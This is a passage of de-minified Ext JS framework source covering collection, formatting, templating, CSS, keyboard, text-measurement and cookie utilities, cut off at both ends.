d\n}, addAll:function (e) {\n    if (arguments.length > 1 || Ext.isArray(e)) {\n        var b = arguments.length > 1 ? arguments : e;\n        for (var d = 0, a = b.length; d < a; d++) {\n            this.add(b[d])\n        }\n    } else {\n        for (var c in e) {\n            if (this.allowFunctions || typeof e[c] != \"function\") {\n                this.add(c, e[c])\n            }\n        }\n    }\n}, each:function (e, d) {\n    var b = [].concat(this.items);\n    for (var c = 0, a = b.length; c < a; c++) {\n        if (e.call(d || b[c], b[c], c, a) === false) {\n            break\n        }\n    }\n}, eachKey:function (d, c) {\n    for (var b = 0, a = this.keys.length; b < a; b++) {\n        d.call(c || window, this.keys[b], this.items[b], b, a)\n    }\n}, find:function (d, c) {\n    for (var b = 0, a = this.items.length; b < a; b++) {\n        if (d.call(c || window, this.items[b], this.keys[b])) {\n            return this.items[b]\n        }\n    }\n    return null\n}, insert:function (a, b, c) {\n    if (arguments.length == 2) {\n        c = arguments[1];\n        b = this.getKey(c)\n    }\n    if (this.containsKey(b)) {\n        this.suspendEvents();\n        this.removeKey(b);\n        this.resumeEvents()\n    }\n    if (a >= this.length) {\n        return this.add(b, c)\n    }\n    this.length++;\n    this.items.splice(a, 0, c);\n    if (typeof b != \"undefined\" && b !== null) {\n        this.map[b] = c\n    }\n    this.keys.splice(a, 0, b);\n    this.fireEvent(\"add\", a, c, b);\n    return c\n}, remove:function (a) {\n    return this.removeAt(this.indexOf(a))\n}, removeAt:function (a) {\n    if (a < this.length && a >= 0) {\n        this.length--;\n        var c = this.items[a];\n        this.items.splice(a, 1);\n        var b = this.keys[a];\n        if (typeof b != \"undefined\") {\n            delete this.map[b]\n        }\n        this.keys.splice(a, 1);\n        this.fireEvent(\"remove\", c, b);\n        return c\n    }\n    return false\n}, removeKey:function (a) {\n    return this.removeAt(this.indexOfKey(a))\n}, getCount:function () {\n    return this.length\n}, indexOf:function (a) {\n    return this.items.indexOf(a)\n}, indexOfKey:function (a) {\n    return this.keys.indexOf(a)\n}, item:function (b) {\n    var a = this.map[b], c = a !== undefined ? a : (typeof b == \"number\") ? this.items[b] : undefined;\n    return typeof c != \"function\" || this.allowFunctions ? c : null\n}, itemAt:function (a) {\n    return this.items[a]\n}, key:function (a) {\n    return this.map[a]\n}, contains:function (a) {\n    return this.indexOf(a) != -1\n}, containsKey:function (a) {\n    return typeof this.map[a] != \"undefined\"\n}, clear:function () {\n    this.length = 0;\n    this.items = [];\n    this.keys = [];\n    this.map = {};\n    this.fireEvent(\"clear\")\n}, first:function () {\n    return this.items[0]\n}, last:function () {\n    return this.items[this.length - 1]\n}, _sort:function (k, a, j) {\n    var d, e, b = String(a).toUpperCase() == \"DESC\" ? -1 : 1, h = [], l = this.keys, g = this.items;\n    j = j || function (i, c) {\n        return i - c\n    };\n    for (d = 0, e = g.length; d < e; d++) {\n        h[h.length] = {key:l[d], value:g[d], index:d}\n    }\n    h.sort(function (i, c) {\n        var m = j(i[k], c[k]) * b;\n        if (m === 0) {\n            m = (i.index < c.index ? -1 : 1)\n        }\n        return m\n    });\n    for (d = 0, e = h.length; d < e; d++) {\n        g[d] = h[d].value;\n        l[d] = h[d].key\n    }\n    this.fireEvent(\"sort\", this)\n}, sort:function (a, b) {\n    this._sort(\"value\", a, b)\n}, reorder:function (d) {\n    this.suspendEvents();\n    var b = this.items, c = 0, g = b.length, a = [], e = [], h;\n    for (h in d) {\n        a[d[h]] = b[h]\n    }\n    for (c = 0; c < g; c++) {\n        if (d[c] == undefined) {\n            e.push(b[c])\n        }\n    }\n    for (c = 0; c < g; c++) {\n        if (a[c] == undefined) {\n            a[c] = e.shift()\n        }\n    }\n    this.clear();\n    this.addAll(a);\n    this.resumeEvents();\n    this.fireEvent(\"sort\", this)\n}, keySort:function (a, b) {\n    this._sort(\"key\", a, b || function (d, c) {\n        var g = String(d).toUpperCase(), e = String(c).toUpperCase();\n        return g > e ? 1 : (g < e ? -1 : 0)\n    })\n}, getRange:function (e, a) {\n    var b = this.items;\n    if (b.length < 1) {\n        return[]\n    }\n    e = e || 0;\n    a = Math.min(typeof a == \"undefined\" ? this.length - 1 : a, this.length - 1);\n    var c, d = [];\n    if (e <= a) {\n        for (c = e; c <= a; c++) {\n            d[d.length] = b[c]\n        }\n    } else {\n        for (c = e; c >= a; c--) {\n            d[d.length] = b[c]\n        }\n    }\n    return d\n}, filter:function (c, b, d, a) {\n    if (Ext.isEmpty(b, false)) {\n        return this.clone()\n    }\n    b = this.createValueMatcher(b, d, a);\n    return this.filterBy(function (e) {\n        return e && b.test(e[c])\n    })\n}, filterBy:function (g, e) {\n    var h = new Ext.util.MixedCollection();\n    h.getKey = this.getKey;\n    var b = this.keys, d = this.items;\n    for (var c = 0, a = d.length; c < a; c++) {\n        if (g.call(e || this, d[c], b[c])) {\n            h.add(b[c], d[c])\n        }\n    }\n    return h\n}, findIndex:function (c, b, e, d, a) {\n    if (Ext.isEmpty(b, false)) {\n        return -1\n    }\n    b = this.createValueMatcher(b, d, a);\n    return this.findIndexBy(function (g) {\n        return g && b.test(g[c])\n    }, null, e)\n}, findIndexBy:function (g, e, h) {\n    var b = this.keys, d = this.items;\n    for (var c = (h || 0), a = d.length; c < a; c++) {\n        if (g.call(e || this, d[c], b[c])) {\n            return c\n        }\n    }\n    return -1\n}, createValueMatcher:function (c, e, a, b) {\n    if (!c.exec) {\n        var d = Ext.escapeRe;\n        c = String(c);\n        if (e === true) {\n            c = d(c)\n        } else {\n            c = \"^\" + d(c);\n            if (b === true) {\n                c += \"$\"\n            }\n        }\n        c = new RegExp(c, a ? \"\" : \"i\")\n    }\n    return c\n}, clone:function () {\n    var e = new Ext.util.MixedCollection();\n    var b = this.keys, d = this.items;\n    for (var c = 0, a = d.length; c < a; c++) {\n        e.add(b[c], d[c])\n    }\n    e.getKey = this.getKey;\n    return e\n}});\nExt.util.MixedCollection.prototype.get = Ext.util.MixedCollection.prototype.item;\nExt.AbstractManager = Ext.extend(Object, {typeName:\"type\", constructor:function (a) {\n    Ext.apply(this, a || {});\n    this.all = new Ext.util.MixedCollection();\n    this.types = {}\n}, get:function (a) {\n    return this.all.get(a)\n}, register:function (a) {\n    this.all.add(a)\n}, unregister:function (a) {\n    this.all.remove(a)\n}, registerType:function (b, a) {\n    this.types[b] = a;\n    a[this.typeName] = b\n}, isRegistered:function (a) {\n    return this.types[a] !== undefined\n}, create:function (a, d) {\n    var b = a[this.typeName] || a.type || d, c = this.types[b];\n    if (c == undefined) {\n        throw new Error(String.format(\"The '{0}' type has not been registered with this manager\", b))\n    }\n    return new c(a)\n}, onAvailable:function (d, c, b) {\n    var a = this.all;\n    a.on(\"add\", function (e, g) {\n        if (g.id == d) {\n            c.call(b || g, g);\n            a.un(\"add\", c, b)\n        }\n    })\n}});\nExt.util.Format = function () {\n    var trimRe = /^\\s+|\\s+$/g, stripTagsRE = /<\\/?[^>]+>/gi, stripScriptsRe = /(?:<script.*?>)((\\n|\\r|.)*?)(?:<\\/script>)/ig, nl2brRe = /\\r?\\n/g;\n    return{ellipsis:function (value, len, word) {\n        if (value && value.length > len) {\n            if (word) {\n                var vs = value.substr(0, len - 2), index = Math.max(vs.lastIndexOf(\" \"), vs.lastIndexOf(\".\"), vs.lastIndexOf(\"!\"), vs.lastIndexOf(\"?\"));\n                if (index == -1 || index < (len - 15)) {\n                    return value.substr(0, len - 3) + \"...\"\n                } else {\n                    return vs.substr(0, index) + \"...\"\n                }\n            } else {\n                return value.substr(0, len - 3) + \"...\"\n            }\n        }\n        return value\n    }, undef:function (value) {\n        return value !== undefined ? value : \"\"\n    }, defaultValue:function (value, defaultValue) {\n        return value !== undefined && value !== \"\" ? value : defaultValue\n    }, htmlEncode:function (value) {\n        return !value ? value : String(value).replace(/&/g, \"&amp;\").replace(/>/g, \"&gt;\").replace(/</g, \"&lt;\").replace(/\"/g, \"&quot;\")\n    }, htmlDecode:function (value) {\n        return !value ? value : String(value).replace(/&gt;/g, \">\").replace(/&lt;/g, \"<\").replace(/&quot;/g, '\"').replace(/&amp;/g, \"&\")\n    }, trim:function (value) {\n        return String(value).replace(trimRe, \"\")\n    }, substr:function (value, start, length) {\n        return String(value).substr(start, length)\n    }, lowercase:function (value) {\n        return String(value).toLowerCase()\n    }, uppercase:function (value) {\n        return String(value).toUpperCase()\n    }, capitalize:function (value) {\n        return !value ? value : value.charAt(0).toUpperCase() + value.substr(1).toLowerCase()\n    }, call:function (value, fn) {\n        if (arguments.length > 2) {\n            var args = Array.prototype.slice.call(arguments, 2);\n            args.unshift(value);\n            return eval(fn).apply(window, args)\n        } else {\n            return eval(fn).call(window, value)\n        }\n    }, usMoney:function (v) {\n        v = (Math.round((v - 0) * 100)) / 100;\n        v = (v == Math.floor(v)) ? v + \".00\" : ((v * 10 == Math.floor(v * 10)) ? v + \"0\" : v);\n        v = String(v);\n        var ps = v.split(\".\"), whole = ps[0], sub = ps[1] ? \".\" + ps[1] : \".00\", r = /(\\d+)(\\d{3})/;\n        while (r.test(whole)) {\n            whole = whole.replace(r, \"$1,$2\")\n        }\n        v = whole + sub;\n        if (v.charAt(0) == \"-\") {\n            return\"-$\" + v.substr(1)\n        }\n        return\"$\" + v\n    }, date:function (v, format) {\n        if (!v) {\n            return\"\"\n        }\n        if (!Ext.isDate(v)) {\n            v = new Date(Date.parse(v))\n        }\n        return v.dateFormat(format || \"m/d/Y\")\n    }, dateRenderer:function (format) {\n        return function (v) {\n            return Ext.util.Format.date(v, format)\n        }\n    }, stripTags:function (v) {\n        return !v ? v : String(v).replace(stripTagsRE, \"\")\n    }, stripScripts:function (v) {\n        return !v ? v : String(v).replace(stripScriptsRe, \"\")\n    }, fileSize:function (size) {\n        if (size < 1024) {\n            return size + \" bytes\"\n        } else {\n            if (size < 1048576) {\n                return(Math.round(((size * 10) / 1024)) / 10) + \" KB\"\n            } else {\n                return(Math.round(((size * 10) / 1048576)) / 10) + \" MB\"\n            }\n        }\n    }, math:function () {\n        var fns = {};\n        return function (v, a) {\n            if (!fns[a]) {\n                fns[a] = new Function(\"v\", \"return v \" + a + \";\")\n            }\n            return fns[a](v)\n        }\n    }(), round:function (value, precision) {\n        var result = Number(value);\n        if (typeof precision == \"number\") {\n            precision = Math.pow(10, precision);\n            result = Math.round(value * precision) / precision\n        }\n        return result\n    }, number:function (v, format) {\n        if (!format) {\n            return v\n        }\n        v = Ext.num(v, NaN);\n        if (isNaN(v)) {\n            return\"\"\n        }\n        var comma = \",\", dec = \".\", i18n = false, neg = v < 0;\n        v = Math.abs(v);\n        if (format.substr(format.length - 2) == \"/i\") {\n            format = format.substr(0, format.length - 2);\n            i18n = true;\n            comma = \".\";\n            dec = \",\"\n        }\n        var hasComma = format.indexOf(comma) != -1, psplit = (i18n ? format.replace(/[^\\d\\,]/g, \"\") : format.replace(/[^\\d\\.]/g, \"\")).split(dec);\n        if (1 < psplit.length) {\n            v = v.toFixed(psplit[1].length)\n        } else {\n            if (2 < psplit.length) {\n                throw (\"NumberFormatException: invalid format, formats should have no more than 1 period: \" + format)\n            } else {\n                v = v.toFixed(0)\n            }\n        }\n        var fnum = v.toString();\n        psplit = fnum.split(\".\");\n        if (hasComma) {\n            var cnum = psplit[0], parr = [], j = cnum.length, m = Math.floor(j / 3), n = cnum.length % 3 || 3, i;\n            for (i = 0; i < j; i += n) {\n                if (i != 0) {\n                    n = 3\n                }\n                parr[parr.length] = cnum.substr(i, n);\n                m -= 1\n            }\n            fnum = parr.join(comma);\n            if (psplit[1]) {\n                fnum += dec + psplit[1]\n            }\n        } else {\n            if (psplit[1]) {\n                fnum = psplit[0] + dec + psplit[1]\n            }\n        }\n        return(neg ? \"-\" : \"\") + format.replace(/[\\d,?\\.?]+/, fnum)\n    }, numberRenderer:function (format) {\n        return function (v) {\n            return Ext.util.Format.number(v, format)\n        }\n    }, plural:function (v, s, p) {\n        return v + \" \" + (v == 1 ? s : (p ? p : s + \"s\"))\n    }, nl2br:function (v) {\n        return Ext.isEmpty(v) ? \"\" : v.replace(nl2brRe, \"<br/>\")\n    }}\n}();\nExt.XTemplate = function () {\n    Ext.XTemplate.superclass.constructor.apply(this, arguments);\n    var y = this, j = y.html, q = /<tpl\\b[^>]*>((?:(?=([^<]+))\\2|<(?!tpl\\b[^>]*>))*?)<\\/tpl>/, d = /^<tpl\\b[^>]*?for=\"(.*?)\"/, v = /^<tpl\\b[^>]*?if=\"(.*?)\"/, x = /^<tpl\\b[^>]*?exec=\"(.*?)\"/, r, p = 0, k = [], o = \"values\", w = \"parent\", l = \"xindex\", n = \"xcount\", e = \"return \", c = \"with(values){ \";\n    j = [\"<tpl>\", j, \"</tpl>\"].join(\"\");\n    while ((r = j.match(q))) {\n        var b = r[0].match(d), a = r[0].match(v), A = r[0].match(x), g = null, h = null, t = null, z = b && b[1] ? b[1] : \"\";\n        if (a) {\n            g = a && a[1] ? a[1] : null;\n            if (g) {\n                h = new Function(o, w, l, n, c + e + (Ext.util.Format.htmlDecode(g)) + \"; }\")\n            }\n        }\n        if (A) {\n            g = A && A[1] ? A[1] : null;\n            if (g) {\n                t = new Function(o, w, l, n, c + (Ext.util.Format.htmlDecode(g)) + \"; }\")\n            }\n        }\n        if (z) {\n            switch (z) {\n                case\".\":\n                    z = new Function(o, w, c + e + o + \"; }\");\n                    break;\n                case\"..\":\n                    z = new Function(o, w, c + e + w + \"; }\");\n                    break;\n                default:\n                    z = new Function(o, w, c + e + z + \"; }\")\n            }\n        }\n        k.push({id:p, target:z, exec:t, test:h, body:r[1] || \"\"});\n        j = j.replace(r[0], \"{xtpl\" + p + \"}\");\n        ++p\n    }\n    for (var u = k.length - 1; u >= 0; --u) {\n        y.compileTpl(k[u])\n    }\n    y.master = k[k.length - 1];\n    y.tpls = k\n};\nExt.extend(Ext.XTemplate, Ext.Template, {re:/\\{([\\w\\-\\.\\#]+)(?:\\:([\\w\\.]*)(?:\\((.*?)?\\))?)?(\\s?[\\+\\-\\*\\\\]\\s?[\\d\\.\\+\\-\\*\\\\\\(\\)]+)?\\}/g, codeRe:/\\{\\[((?:\\\\\\]|.|\\n)*?)\\]\\}/g, applySubTemplate:function (a, k, j, d, c) {\n    var h = this, g, m = h.tpls[a], l, b = [];\n    if ((m.test && !m.test.call(h, k, j, d, c)) || (m.exec && m.exec.call(h, k, j, d, c))) {\n        return\"\"\n    }\n    l = m.target ? m.target.call(h, k, j) : k;\n    g = l.length;\n    j = m.target ? k : j;\n    if (m.target && Ext.isArray(l)) {\n        for (var e = 0, g = l.length; e < g; e++) {\n            b[b.length] = m.compiled.call(h, l[e], j, e + 1, g)\n        }\n        return b.join(\"\")\n    }\n    return m.compiled.call(h, l, j, d, c)\n}, compileTpl:function (tpl) {\n    var fm = Ext.util.Format, useF = this.disableFormats !== true, sep = Ext.isGecko ? \"+\" : \",\", body;\n\n    function fn(m, name, format, args, math) {\n        if (name.substr(0, 4) == \"xtpl\") {\n            return\"'\" + sep + \"this.applySubTemplate(\" + name.substr(4) + \", values, parent, xindex, xcount)\" + sep + \"'\"\n        }\n        var v;\n        if (name === \".\") {\n            v = \"values\"\n        } else {\n            if (name === \"#\") {\n                v = \"xindex\"\n            } else {\n                if (name.indexOf(\".\") != -1) {\n                    v = name\n                } else {\n                    v = \"values['\" + name + \"']\"\n                }\n            }\n        }\n        if (math) {\n            v = \"(\" + v + math + \")\"\n        }\n        if (format && useF) {\n            args = args ? \",\" + args : \"\";\n            if (format.substr(0, 5) != \"this.\") {\n                format = \"fm.\" + format + \"(\"\n            } else {\n                format = 'this.call(\"' + format.substr(5) + '\", ';\n                args = \", values\"\n            }\n        } else {\n            args = \"\";\n            format = \"(\" + v + \" === undefined ? '' : \"\n        }\n        return\"'\" + sep + format + v + args + \")\" + sep + \"'\"\n    }\n\n    function codeFn(m, code) {\n        return\"'\" + sep + \"(\" + code.replace(/\\\\'/g, \"'\") + \")\" + sep + \"'\"\n    }\n\n    if (Ext.isGecko) {\n        body = \"tpl.compiled = function(values, parent, xindex, xcount){ return '\" + tpl.body.replace(/(\\r\\n|\\n)/g, \"\\\\n\").replace(/'/g, \"\\\\'\").replace(this.re, fn).replace(this.codeRe, codeFn) + \"';};\"\n    } else {\n        body = [\"tpl.compiled = function(values, parent, xindex, xcount){ return ['\"];\n        body.push(tpl.body.replace(/(\\r\\n|\\n)/g, \"\\\\n\").replace(/'/g, \"\\\\'\").replace(this.re, fn).replace(this.codeRe, codeFn));\n        body.push(\"'].join('');};\");\n        body = body.join(\"\")\n    }\n    eval(body);\n    return this\n}, applyTemplate:function (a) {\n    return this.master.compiled.call(this, a, {}, 1, 1)\n}, compile:function () {\n    return this\n}});\nExt.XTemplate.prototype.apply = Ext.XTemplate.prototype.applyTemplate;\nExt.XTemplate.from = function (a) {\n    a = Ext.getDom(a);\n    return new Ext.XTemplate(a.value || a.innerHTML)\n};\nExt.util.CSS = function () {\n    var d = null;\n    var c = document;\n    var b = /(-[a-z])/gi;\n    var a = function (e, g) {\n        return g.charAt(1).toUpperCase()\n    };\n    return{createStyleSheet:function (i, l) {\n        var h;\n        var g = c.getElementsByTagName(\"head\")[0];\n        var k = c.createElement(\"style\");\n        k.setAttribute(\"type\", \"text/css\");\n        if (l) {\n            k.setAttribute(\"id\", l)\n        }\n        if (Ext.isIE) {\n            g.appendChild(k);\n            h = k.styleSheet;\n            h.cssText = i\n        } else {\n            try {\n                k.appendChild(c.createTextNode(i))\n            } catch (j) {\n                k.cssText = i\n            }\n            g.appendChild(k);\n            h = k.styleSheet ? k.styleSheet : (k.sheet || c.styleSheets[c.styleSheets.length - 1])\n        }\n        this.cacheStyleSheet(h);\n        return h\n    }, removeStyleSheet:function (g) {\n        var e = c.getElementById(g);\n        if (e) {\n            e.parentNode.removeChild(e)\n        }\n    }, swapStyleSheet:function (h, e) {\n        this.removeStyleSheet(h);\n        var g = c.createElement(\"link\");\n        g.setAttribute(\"rel\", \"stylesheet\");\n        g.setAttribute(\"type\", \"text/css\");\n        g.setAttribute(\"id\", h);\n        g.setAttribute(\"href\", e);\n        c.getElementsByTagName(\"head\")[0].appendChild(g)\n    }, refreshCache:function () {\n        return this.getRules(true)\n    }, cacheStyleSheet:function (h) {\n        if (!d) {\n            d = {}\n        }\n        try {\n            var k = h.cssRules || h.rules;\n            for (var g = k.length - 1; g >= 0; --g) {\n                d[k[g].selectorText.toLowerCase()] = k[g]\n            }\n        } catch (i) {\n        }\n    }, getRules:function (h) {\n        if (d === null || h) {\n            d = {};\n            var k = c.styleSheets;\n            for (var j = 0, g = k.length; j < g; j++) {\n                try {\n                    this.cacheStyleSheet(k[j])\n                } catch (l) {\n                }\n            }\n        }\n        return d\n    }, getRule:function (e, h) {\n        var g = this.getRules(h);\n        if (!Ext.isArray(e)) {\n            return g[e.toLowerCase()]\n        }\n        for (var j = 0; j < e.length; j++) {\n            if (g[e[j]]) {\n                return g[e[j].toLowerCase()]\n            }\n        }\n        return null\n    }, updateRule:function (e, j, h) {\n        if (!Ext.isArray(e)) {\n            var k = this.getRule(e);\n            if (k) {\n                k.style[j.replace(b, a)] = h;\n                return true\n            }\n        } else {\n            for (var g = 0; g < e.length; g++) {\n                if (this.updateRule(e[g], j, h)) {\n                    return true\n                }\n            }\n        }\n        return false\n    }}\n}();\nExt.util.ClickRepeater = Ext.extend(Ext.util.Observable, {constructor:function (b, a) {\n    this.el = Ext.get(b);\n    this.el.unselectable();\n    Ext.apply(this, a);\n    this.addEvents(\"mousedown\", \"click\", \"mouseup\");\n    if (!this.disabled) {\n        this.disabled = true;\n        this.enable()\n    }\n    if (this.handler) {\n        this.on(\"click\", this.handler, this.scope || this)\n    }\n    Ext.util.ClickRepeater.superclass.constructor.call(this)\n}, interval:20, delay:250, preventDefault:true, stopDefault:false, timer:0, enable:function () {\n    if (this.disabled) {\n        this.el.on(\"mousedown\", this.handleMouseDown, this);\n        if (Ext.isIE) {\n            this.el.on(\"dblclick\", this.handleDblClick, this)\n        }\n        if (this.preventDefault || this.stopDefault) {\n            this.el.on(\"click\", this.eventOptions, this)\n        }\n    }\n    this.disabled = false\n}, disable:function (a) {\n    if (a || !this.disabled) {\n        clearTimeout(this.timer);\n        if (this.pressClass) {\n            this.el.removeClass(this.pressClass)\n        }\n        Ext.getDoc().un(\"mouseup\", this.handleMouseUp, this);\n        this.el.removeAllListeners()\n    }\n    this.disabled = true\n}, setDisabled:function (a) {\n    this[a ? \"disable\" : \"enable\"]()\n}, eventOptions:function (a) {\n    if (this.preventDefault) {\n        a.preventDefault()\n    }\n    if (this.stopDefault) {\n        a.stopEvent()\n    }\n}, destroy:function () {\n    this.disable(true);\n    Ext.destroy(this.el);\n    this.purgeListeners()\n}, handleDblClick:function (a) {\n    clearTimeout(this.timer);\n    this.el.blur();\n    this.fireEvent(\"mousedown\", this, a);\n    this.fireEvent(\"click\", this, a)\n}, handleMouseDown:function (a) {\n    clearTimeout(this.timer);\n    this.el.blur();\n    if (this.pressClass) {\n        this.el.addClass(this.pressClass)\n    }\n    this.mousedownTime = new Date();\n    Ext.getDoc().on(\"mouseup\", this.handleMouseUp, this);\n    this.el.on(\"mouseout\", this.handleMouseOut, this);\n    this.fireEvent(\"mousedown\", this, a);\n    this.fireEvent(\"click\", this, a);\n    if (this.accelerate) {\n        this.delay = 400\n    }\n    this.timer = this.click.defer(this.delay || this.interval, this, [a])\n}, click:function (a) {\n    this.fireEvent(\"click\", this, a);\n    this.timer = this.click.defer(this.accelerate ? this.easeOutExpo(this.mousedownTime.getElapsed(), 400, -390, 12000) : this.interval, this, [a])\n}, easeOutExpo:function (e, a, h, g) {\n    return(e == g) ? a + h : h * (-Math.pow(2, -10 * e / g) + 1) + a\n}, handleMouseOut:function () {\n    clearTimeout(this.timer);\n    if (this.pressClass) {\n        this.el.removeClass(this.pressClass)\n    }\n    this.el.on(\"mouseover\", this.handleMouseReturn, this)\n}, handleMouseReturn:function () {\n    this.el.un(\"mouseover\", this.handleMouseReturn, this);\n    if (this.pressClass) {\n        this.el.addClass(this.pressClass)\n    }\n    this.click()\n}, handleMouseUp:function (a) {\n    clearTimeout(this.timer);\n    this.el.un(\"mouseover\", this.handleMouseReturn, this);\n    this.el.un(\"mouseout\", this.handleMouseOut, this);\n    Ext.getDoc().un(\"mouseup\", this.handleMouseUp, this);\n    this.el.removeClass(this.pressClass);\n    this.fireEvent(\"mouseup\", this, a)\n}});\nExt.KeyNav = function (b, a) {\n    this.el = Ext.get(b);\n    Ext.apply(this, a);\n    if (!this.disabled) {\n        this.disabled = true;\n        this.enable()\n    }\n};\nExt.KeyNav.prototype = {disabled:false, defaultEventAction:\"stopEvent\", forceKeyDown:false, relay:function (c) {\n    var a = c.getKey(), b = this.keyToHandler[a];\n    if (b && this[b]) {\n        if (this.doRelay(c, this[b], b) !== true) {\n            c[this.defaultEventAction]()\n        }\n    }\n}, doRelay:function (c, b, a) {\n    return b.call(this.scope || this, c, a)\n}, enter:false, left:false, right:false, up:false, down:false, tab:false, esc:false, pageUp:false, pageDown:false, del:false, home:false, end:false, space:false, keyToHandler:{37:\"left\", 39:\"right\", 38:\"up\", 40:\"down\", 33:\"pageUp\", 34:\"pageDown\", 46:\"del\", 36:\"home\", 35:\"end\", 13:\"enter\", 27:\"esc\", 9:\"tab\", 32:\"space\"}, stopKeyUp:function (b) {\n    var a = b.getKey();\n    if (a >= 37 && a <= 40) {\n        b.stopEvent()\n    }\n}, destroy:function () {\n    this.disable()\n}, enable:function () {\n    if (this.disabled) {\n        if (Ext.isSafari2) {\n            this.el.on(\"keyup\", this.stopKeyUp, this)\n        }\n        this.el.on(this.isKeydown() ? \"keydown\" : \"keypress\", this.relay, this);\n        this.disabled = false\n    }\n}, disable:function () {\n    if (!this.disabled) {\n        if (Ext.isSafari2) {\n            this.el.un(\"keyup\", this.stopKeyUp, this)\n        }\n        this.el.un(this.isKeydown() ? \"keydown\" : \"keypress\", this.relay, this);\n        this.disabled = true\n    }\n}, setDisabled:function (a) {\n    this[a ? \"disable\" : \"enable\"]()\n}, isKeydown:function () {\n    return this.forceKeyDown || Ext.EventManager.useKeydown\n}};\nExt.KeyMap = function (c, b, a) {\n    this.el = Ext.get(c);\n    this.eventName = a || \"keydown\";\n    this.bindings = [];\n    if (b) {\n        this.addBinding(b)\n    }\n    this.enable()\n};\nExt.KeyMap.prototype = {stopEvent:false, addBinding:function (b) {\n    if (Ext.isArray(b)) {\n        Ext.each(b, function (j) {\n            this.addBinding(j)\n        }, this);\n        return\n    }\n    var k = b.key, g = b.fn || b.handler, l = b.scope;\n    if (b.stopEvent) {\n        this.stopEvent = b.stopEvent\n    }\n    if (typeof k == \"string\") {\n        var h = [];\n        var e = k.toUpperCase();\n        for (var c = 0, d = e.length; c < d; c++) {\n            h.push(e.charCodeAt(c))\n        }\n        k = h\n    }\n    var a = Ext.isArray(k);\n    var i = function (o) {\n        if (this.checkModifiers(b, o)) {\n            var m = o.getKey();\n            if (a) {\n                for (var n = 0, j = k.length; n < j; n++) {\n                    if (k[n] == m) {\n                        if (this.stopEvent) {\n                            o.stopEvent()\n                        }\n                        g.call(l || window, m, o);\n                        return\n                    }\n                }\n            } else {\n                if (m == k) {\n                    if (this.stopEvent) {\n                        o.stopEvent()\n                    }\n                    g.call(l || window, m, o)\n                }\n            }\n        }\n    };\n    this.bindings.push(i)\n}, checkModifiers:function (b, h) {\n    var j, d, g = [\"shift\", \"ctrl\", \"alt\"];\n    for (var c = 0, a = g.length; c < a; ++c) {\n        d = g[c];\n        j = b[d];\n        if (!(j === undefined || (j === h[d + \"Key\"]))) {\n            return false\n        }\n    }\n    return true\n}, on:function (b, d, c) {\n    var h, a, e, g;\n    if (typeof b == \"object\" && !Ext.isArray(b)) {\n        h = b.key;\n        a = b.shift;\n        e = b.ctrl;\n        g = b.alt\n    } else {\n        h = b\n    }\n    this.addBinding({key:h, shift:a, ctrl:e, alt:g, fn:d, scope:c})\n}, handleKeyDown:function (g) {\n    if (this.enabled) {\n        var c = this.bindings;\n        for (var d = 0, a = c.length; d < a; d++) {\n            c[d].call(this, g)\n        }\n    }\n}, isEnabled:function () {\n    return this.enabled\n}, enable:function () {\n    if (!this.enabled) {\n        this.el.on(this.eventName, this.handleKeyDown, this);\n        this.enabled = true\n    }\n}, disable:function () {\n    if (this.enabled) {\n        this.el.removeListener(this.eventName, this.handleKeyDown, this);\n        this.enabled = false\n    }\n}, setDisabled:function (a) {\n    this[a ? \"disable\" : \"enable\"]()\n}};\nExt.util.TextMetrics = function () {\n    var a;\n    return{measure:function (b, c, d) {\n        if (!a) {\n            a = Ext.util.TextMetrics.Instance(b, d)\n        }\n        a.bind(b);\n        a.setFixedWidth(d || \"auto\");\n        return a.getSize(c)\n    }, createInstance:function (b, c) {\n        return Ext.util.TextMetrics.Instance(b, c)\n    }}\n}();\nExt.util.TextMetrics.Instance = function (b, d) {\n    var c = new Ext.Element(document.createElement(\"div\"));\n    document.body.appendChild(c.dom);\n    c.position(\"absolute\");\n    c.setLeftTop(-1000, -1000);\n    c.hide();\n    if (d) {\n        c.setWidth(d)\n    }\n    var a = {getSize:function (g) {\n        c.update(g);\n        var e = c.getSize();\n        c.update(\"\");\n        return e\n    }, bind:function (e) {\n        c.setStyle(Ext.fly(e).getStyles(\"font-size\", \"font-style\", \"font-weight\", \"font-family\", \"line-height\", \"text-transform\", \"letter-spacing\"))\n    }, setFixedWidth:function (e) {\n        c.setWidth(e)\n    }, getWidth:function (e) {\n        c.dom.style.width = \"auto\";\n        return this.getSize(e).width\n    }, getHeight:function (e) {\n        return this.getSize(e).height\n    }};\n    a.bind(b);\n    return a\n};\nExt.Element.addMethods({getTextWidth:function (c, b, a) {\n    return(Ext.util.TextMetrics.measure(this.dom, Ext.value(c, this.dom.innerHTML, true)).width).constrain(b || 0, a || 1000000)\n}});\nExt.util.Cookies = {set:function (c, e) {\n    var a = arguments;\n    var i = arguments.length;\n    var b = (i > 2) ? a[2] : null;\n    var h = (i > 3) ? a[3] : \"/\";\n    var d = (i > 4) ? a[4] : null;\n    var g = (i > 5) ? a[5] : false;\n    document.cookie = c + \"=\" + escape(e) + ((b === null) ? \"\" : (\"; expires=\" + b.toGMTString())) + ((h === null) ? \"\" : (\"; path=\" + h)) + ((d === null) ? \"\" : (\"; domain=\" + d)) + ((g === true) ? \"; secure\" : \"\")\n}, get:function (d) {\n    var b = d + \"=\";\n    var g = b.length;\n    var a = document.cookie.length;\n    var e = 0;\n    var c = 0;\n    while (e < a) {\n        c = e + g;\n        if (document.cookie.substring(e, c) == b) {\n            return Ext.util.Cookies.getCookieVal(c)\n        }\n        e = document.cookie.indexOf(\" \", e) + 1;\n        if (e === 0) {\n            break\n        }\n    }\n    return null\n}, clear:function (a) {\n    if (Ext.util.Cookies.get(a)) {\n        document.cookie = a + \"=; expires=Thu, 01-Jan-70 00:00:01 GMT\"\n    }\n}, getCookieVal:function (b) {\n    var a = document.cookie.indexOf(\";\", b);\n    if (a == -1) {\n        a = document.cookie.length\n    }\n    return unescape(document.cookie.substring(b, a))\n}};\nExt.handleError = function (a) {\n    throw a\n};\nExt.Error = function (a) {\n    this.message = (this.lang[a]) ? this.lang[a] : a\n};\nExt.Error.prototype = new Error();\nExt.apply(Ext.Error.prototype, {lang:{}, name:\"Ext.Error\", getName:function () {\n    return this.name\n}, getMessage:function () {\n    return this.message\n}, toJson:function () {\n    return Ext.encode(this)\n}});\nExt.ComponentMgr = function () {\n    var c = new Ext.util.MixedCollection();\n    var b = {};\n    var a = {};\n    return{register:function (d) {\n        c.add(d)\n    }, unregister:function (d) {\n        c.remove(d)\n    }, get:function (d) {\n        return c.get(d)\n    }, onAvailable:function (g, e, d) {\n        c.on(\"add\", function (h, i) {\n            if (i.id == g) {\n                e.call(d || i, i);\n                c.un(\"add\", e, 